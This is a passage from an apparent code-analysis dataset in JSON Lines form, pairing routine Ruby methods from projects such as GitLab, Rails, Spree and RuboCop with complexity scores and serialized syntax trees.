\"send\",\"children\":[null,\"new_url\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"parsed_url\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"InvalidURIError\"]}]},null,null]},null]}]}]}","id":"633480b9-ff45-4acd-897d-fe6dfa7b7ead"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/finders/spree/products/find.rb","start_line":336,"raw_source":"def taxon_ids(taxons_ids)\n        return if taxons_ids.nil? || taxons_ids.to_s.blank?\n\n        taxons = Spree::Taxon.for_store(store).where(id: taxons_ids.to_s.split(','))\n        taxons.map(&:cached_self_and_descendants_ids).flatten.compact.uniq.map(&:to_s)\n      end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"taxon_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"taxons_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxons_ids\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxons_ids\"]},\"to_s\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"taxons\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxon\"]},\"for_store\",{\"type\":\"send\",\"children\":[null,\"store\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxons_ids\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"taxons\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_self_and_descendants_ids\"]}]}]},\"flatten\"]},\"compact\"]},\"uniq\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}","id":"d19b51a7-684d-47ca-a65c-c5bc1592d9f2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/spec/common/storages/adapters/providers/sharepoint/services/create_managed_folders_service_spec.rb","start_line":367,"raw_source":"def set_permissions_on(file_id, user_permissions)\n              Adapters::Input::SetPermissions.build(file_id:, user_permissions:).bind do |input_data|\n                Adapters::Registry.resolve(\"sharepoint.commands.set_permissions\").call(storage:, auth_strategy:, input_data:)\n              end\n            end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_permissions_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_id\"]},{\"type\":\"arg\",\"children\":[\"user_permissions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Input\"]},\"SetPermissions\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_id\"]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_permissions\"]},{\"type\":\"lvar\",\"children\":[\"user_permissions\"]}]}]}]},\"bind\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"str\",\"children\":[\"sharepoint.commands.set_permissions\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_strategy\"]},{\"type\":\"send\",\"children\":[null,\"auth_strategy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_data\"]},{\"type\":\"lvar\",\"children\":[\"input_data\"]}]}]}]}]}]}","id":"543d333a-817e-4bbf-97ad-106891d50d0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/import_user_creator.rb","start_line":51,"raw_source":"def create_namespace_import_user(user)\n        ::Import::NamespaceImportUser.create!(\n          user_id: user.id,\n          namespace_id: root_ancestor.id\n        )\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_namespace_import_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"NamespaceImportUser\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_ancestor\"]},\"id\"]}]}]}]}]}","id":"9f30adb3-38ad-4194-8e82-0acc1f2913ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/diff_positionable_note.rb","start_line":49,"raw_source":"def on_file?\n    !!position&.on_file?\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_file?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"position\"]},\"on_file?\"]},\"!\"]},\"!\"]}]}","id":"b5fabeb6-2b74-4009-8c08-7b4ed24a0eff"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/regexp_literal.rb","start_line":157,"raw_source":"def preferred_delimiters\n          config.for_cop('Style/PercentLiteralDelimiters')['PreferredDelimiters']['%r'].chars\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"preferred_delimiters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Style/PercentLiteralDelimiters\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"PreferredDelimiters\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"%r\"]}]},\"chars\"]}]}","id":"50c60d0e-f3db-4a70-8da7-a3f3855d1f11"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/disputes/appeals_spec.rb","start_line":49,"raw_source":"def submit_form\n      click_on I18n.t('disputes.strikes.appeals.submit')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"disputes.strikes.appeals.submit\"]}]}]}]}","id":"7ca0632c-c185-4ed1-af43-82aaa4073b1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":641,"raw_source":"def graphql_errors(body = fresh_response_data)\n    case body\n    when Hash # regular query\n      body['errors']\n    when Array # multiplexed queries\n      body.map { |response| response['errors'] }\n    else\n      raise \"Unknown GraphQL response type #{body.class}\"\n    end\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"graphql_errors\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"fresh_response_data\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"errors\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown GraphQL response type \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"class\"]}]}]}]}]}]}","id":"17b951f8-3900-461e-aa02-8824a5c11f25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/groups/menus/merge_requests_menu.rb","start_line":52,"raw_source":"def serialize_as_menu_item_args\n          super.merge({\n            pill_count: pill_count,\n            pill_count_field: pill_count_field,\n            has_pill: has_pill?,\n            super_sidebar_parent: ::Sidebars::Groups::SuperSidebarMenus::CodeMenu,\n            item_id: :group_merge_request_list\n          })\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_as_menu_item_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pill_count\"]},{\"type\":\"send\",\"children\":[null,\"pill_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pill_count_field\"]},{\"type\":\"send\",\"children\":[null,\"pill_count_field\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_pill\"]},{\"type\":\"send\",\"children\":[null,\"has_pill?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Groups\"]},\"SuperSidebarMenus\"]},\"CodeMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"group_merge_request_list\"]}]}]}]}]}","id":"2760d9a7-358f-4525-939e-c099467f5678"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/clusters/knative_services_finder.rb","start_line":64,"raw_source":"def service_pod_details(service)\n      cached_data = with_reactive_cache_memoized(*cache_args) { |data| data }\n      cached_data.to_h.fetch(:pods, []).select do |pod|\n        filter_pods(pod, service)\n      end\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"service_pod_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cached_data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_reactive_cache_memoized\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_args\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_data\"]},\"to_h\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"pods\"]},{\"type\":\"array\",\"children\":[]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pod\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_pods\",{\"type\":\"lvar\",\"children\":[\"pod\"]},{\"type\":\"lvar\",\"children\":[\"service\"]}]}]}]}]}","id":"72f406ca-0538-430f-b92e-eae9376a137e"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":1724,"raw_source":"def test_silent_ruby_multiline\n    assert_equal(<<HTML, render(<<HAML))\nbar, baz, bang\n<p>foo</p>\nHTML\n- foo = [\"bar\",\n         \"baz\",\n         \"bang\"]\n= foo.join(\", \")\n%p foo\nHAML\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_silent_ruby_multiline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bar, baz, bang\\n\"]},{\"type\":\"str\",\"children\":[\"<p>foo</p>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- foo = [\\\"bar\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"         \\\"baz\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"         \\\"bang\\\"]\\n\"]},{\"type\":\"str\",\"children\":[\"= foo.join(\\\", \\\")\\n\"]},{\"type\":\"str\",\"children\":[\"%p foo\\n\"]}]}]}]}]}","id":"b1bb5494-5fa9-4201-b22a-6f035bf0695b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/merge_request_helpers.rb","start_line":13,"raw_source":"def serialize_issuable_sidebar(user, project, merge_request)\n      MergeRequestSerializer\n        .new(current_user: user, project: project)\n        .represent(merge_request, serializer: 'sidebar')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_issuable_sidebar\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]},\"represent\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"str\",\"children\":[\"sidebar\"]}]}]}]}]}","id":"592de072-b4f1-467f-8c28-2cd62eb57b25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/git_http_helpers.rb","start_line":44,"raw_source":"def download_or_upload(repository_path, **args, &block)\n    download(repository_path, **args, &block)\n    upload(repository_path, **args, &block)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"download_or_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository_path\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"download\",{\"type\":\"lvar\",\"children\":[\"repository_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"repository_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"5c1ebadf-5f82-4fa3-a71a-cf7747cac3fc"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations_test.rb","start_line":349,"raw_source":"def test_validate_with_bang\n    Topic.validates :title, presence: true\n\n    assert_raise(ActiveModel::ValidationError) do\n      Topic.new.validate!\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validate_with_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"ValidationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"validate!\"]}]}]}]}","id":"3c4881e7-0f5b-48e3-80dc-d9a566d6b453"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns.rb","start_line":40,"raw_source":"def original_column_names_as_tmp_tamble\n            temp_table = Arel::Table.new('record')\n            original_column_names.map { |c| temp_table[c] }\n          end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"original_column_names_as_tmp_tamble\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"temp_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"str\",\"children\":[\"record\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"original_column_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_table\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}","id":"2b575677-85df-4a7b-9ddb-e9994e2e6d07"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/form_helper/form_builder.rb","start_line":290,"raw_source":"def label(content = nil, **attributes, &block)\n          for_attribute_given = attributes.key?(:for)\n\n          attributes[:for] = _input_id(attributes[:for] || content)\n\n          if content && !for_attribute_given\n            content = inflector.humanize(content.to_s.split(INPUT_NAME_SEPARATOR).last)\n          end\n\n          tag.label(content, **attributes, &block)\n        end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"content\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"attributes\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"for_attribute_given\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"for\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"for\"]},{\"type\":\"send\",\"children\":[null,\"_input_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"for\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"for_attribute_given\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inflector\"]},\"humanize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"to_s\"]},\"split\",{\"type\":\"const\",\"children\":[null,\"INPUT_NAME_SEPARATOR\"]}]},\"last\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"label\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"90955017-1b7a-4cb7-8425-d003077b4da0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/system/broadcast_message.rb","start_line":118,"raw_source":"def started?\n      Time.current >= starts_at\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"started?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\">=\",{\"type\":\"send\",\"children\":[null,\"starts_at\"]}]}]}","id":"65a81274-29aa-4ed3-886d-f1ca36aa898a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/actions_test.rb","start_line":765,"raw_source":"def assert_routes(*route_commands)\n      route_regexps = route_commands.flatten.map do |route_command|\n        %r{\n          ^#{Regexp.escape(\"Rails.application.routes.draw do\")}\\n\n            (?:[ ]{2}.+\\n|\\n)*\n            #{Regexp.escape(route_command.indent(2))}\\n\n            (?:[ ]{2}.+\\n|\\n)*\n          end\\n\n        }x\n      end\n\n      assert_file \"config/routes.rb\", *route_regexps\n    end","complexity_score":9.08,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"route_commands\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"route_regexps\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_commands\"]},\"flatten\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route_command\"]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          ^\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"str\",\"children\":[\"Rails.application.routes.draw do\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\n\\n\"]},{\"type\":\"str\",\"children\":[\"            (?:[ ]{2}.+\\\\n|\\\\n)*\\n\"]},{\"type\":\"str\",\"children\":[\"            \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_command\"]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\\n\\n\"]},{\"type\":\"str\",\"children\":[\"            (?:[ ]{2}.+\\\\n|\\\\n)*\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\\\n\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"regopt\",\"children\":[\"x\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route_regexps\"]}]}]}]}]}","id":"36926051-5a28-4edc-9db0-91ffff8068ba"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_matcher_directive.rb","start_line":68,"raw_source":"def method_directives(node)\n          comments = processed_source.ast_with_comments[node]\n          group_comments(comments).filter_map do |comment_method, comment_scope|\n            match = comment_method.text.match(REGEXP_METHOD)\n            next unless match\n\n            {\n              node_method: comment_method,\n              node_scope: comment_scope,\n              method_name: match[:method_name],\n              args: match[:args],\n              receiver: match[:receiver],\n              has_scope_directive: comment_scope&.text&.match?(REGEXP_SCOPE)\n            }\n          end\n        end","complexity_score":19.1,"ast_json":"{\"type\":\"def\",\"children\":[\"method_directives\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"ast_with_comments\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_comments\",{\"type\":\"lvar\",\"children\":[\"comments\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment_method\"]},{\"type\":\"arg\",\"children\":[\"comment_scope\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_method\"]},\"text\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"REGEXP_METHOD\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node_method\"]},{\"type\":\"lvar\",\"children\":[\"comment_method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"node_scope\"]},{\"type\":\"lvar\",\"children\":[\"comment_scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"args\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"receiver\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"receiver\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_scope_directive\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comment_scope\"]},\"text\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"REGEXP_SCOPE\"]}]}]}]}]}]}]}]}","id":"f20ced34-bb57-4715-854f-321cec68fa5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240705083121_create_approval_policy_rule_project_links.rb","start_line":8,"raw_source":"def up\n    create_table :approval_policy_rule_project_links do |t|\n      t.bigint :project_id, null: false, index: true\n      t.bigint :approval_policy_rule_id, null: false\n\n      t.index [:approval_policy_rule_id, :project_id], unique: true, name: INDEX_NAME\n    end\n  